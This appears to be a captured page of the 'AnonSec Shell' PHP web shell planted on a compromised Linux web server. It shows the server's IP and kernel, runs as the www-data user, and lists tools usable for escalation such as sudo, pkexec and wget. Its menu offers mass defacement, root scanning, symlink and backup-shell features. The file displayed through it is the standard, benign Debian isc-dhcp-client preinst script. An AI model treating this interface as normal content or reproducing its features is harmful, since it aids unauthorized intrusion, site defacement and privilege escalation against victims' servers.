AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.138   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/lib/dpkg/info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/lib/dpkg/info/isc-dhcp-client.preinst
#!/bin/sh

set -e

case "$1" in
    install|upgrade)
        # Upgrade old lucid configs
        if [ -e /etc/dhcp/dhclient.conf ] && [ $(md5sum /etc/dhcp/dhclient.conf | cut -f1 -d ' ') = 5e012287a1dcf058b3fea4c5bf0bd95a ]; then
            sed -i -e '/host-name "<hostname>"/i #send host-name "andare.fugue.com";' \
                -e 's/host-name "<hostname>"/host-name = gethostname()/' \
                -e '/domain-search, host-name,$/a \
	dhcp6.name-servers, dhcp6.domain-search,' \
                -e '/ntp-servers;$/a \
	dhcp6.fqdn, dhcp6.sntp-servers;' \
                -e 's/ntp-servers;$/ntp-servers,/' \
                /etc/dhcp/dhclient.conf
        fi

    	# if the /etc/dhclient.conf from dhcp-client was modified, 
	# bring it forward to /etc/dhcp3/dhclient.conf, but in a way not
	# to upset dpkg about a changed conffile
        if [ ! -e /etc/dhcp3/dhclient.conf ] && [ -e /etc/dhclient.conf ] && \
	    ! >/dev/null 2>&1 md5sum -c - <<-EOF; then
		10830c7543724cfd36f10dd87a5f98eb  /etc/dhclient.conf
		EOF
		mkdir -p /etc/dhcp3
		cp /etc/dhclient.conf /etc/dhcp3/dhclient.conf.oldconfig
        fi

	# handle lingering dhclient.conf from lenny (this can be safely removed
	# after the wheezy release)
	if [ -e /etc/dhcp/dhclient.conf ] && \
		[ "`md5sum /etc/dhcp/dhclient.conf  | awk '{print $1;}'`" = 6e3910d75cd5cde0042ecb6d48492ae9 ]; then
		sed -i -e 's/rfc3442-classless-static-routes;/rfc3442-classless-static-routes, ntp-servers;/' /etc/dhcp/dhclient.conf
	fi

	# We renamed debug-enter to debug - handle the transition
	if [ ! -e /etc/dhcp3/dhclient-enter-hooks.d/debug ] && \
	      [ -e /etc/dhcp3/dhclient-enter-hooks.d/debug-enter ]; then
		mv /etc/dhcp3/dhclient-enter-hooks.d/debug-enter \
		   /etc/dhcp3/dhclient-enter-hooks.d/debug
	else
	    rm -f /etc/dhcp3/dhclient-enter-hooks.d/debug-enter
	fi

	# We renamed debug-exit to debug - handle the transition
	if [ ! -e /etc/dhcp3/dhclient-exit-hooks.d/debug ] && \
	      [ -e /etc/dhcp3/dhclient-exit-hooks.d/debug-exit ]; then
		mv /etc/dhcp3/dhclient-exit-hooks.d/debug-exit \
		   /etc/dhcp3/dhclient-exit-hooks.d/debug
	else
	    rm -f /etc/dhcp3/dhclient-exit-hooks.d/debug-exit
	fi

	# We moved /etc/dhcp3/dhclient-script to /sbin in 3.0.4-2
	if dpkg --compare-versions "$2" lt-nl "3.0.4-2"; then
		if [ -e /etc/dhcp3/dhclient-script ]; then
			if >/dev/null 2>&1 md5sum -c - <<-EOF; then
			2b18b5c59b26d00aa115716b3da2ed26  /etc/dhcp3/dhclient-script
			EOF
				rm -f /etc/dhcp3/dhclient-script
			fi
		fi
	fi
        ;;

    abort-upgrade)
        ;;

    *)
        echo "preinst called with unknown argument \`$1'" >&2
        exit 1
    ;;
esac

# dh_installdeb will replace this with shell code automatically
# generated by other debhelper scripts.



exit 0



Anon7 - 2022
AnonSec Team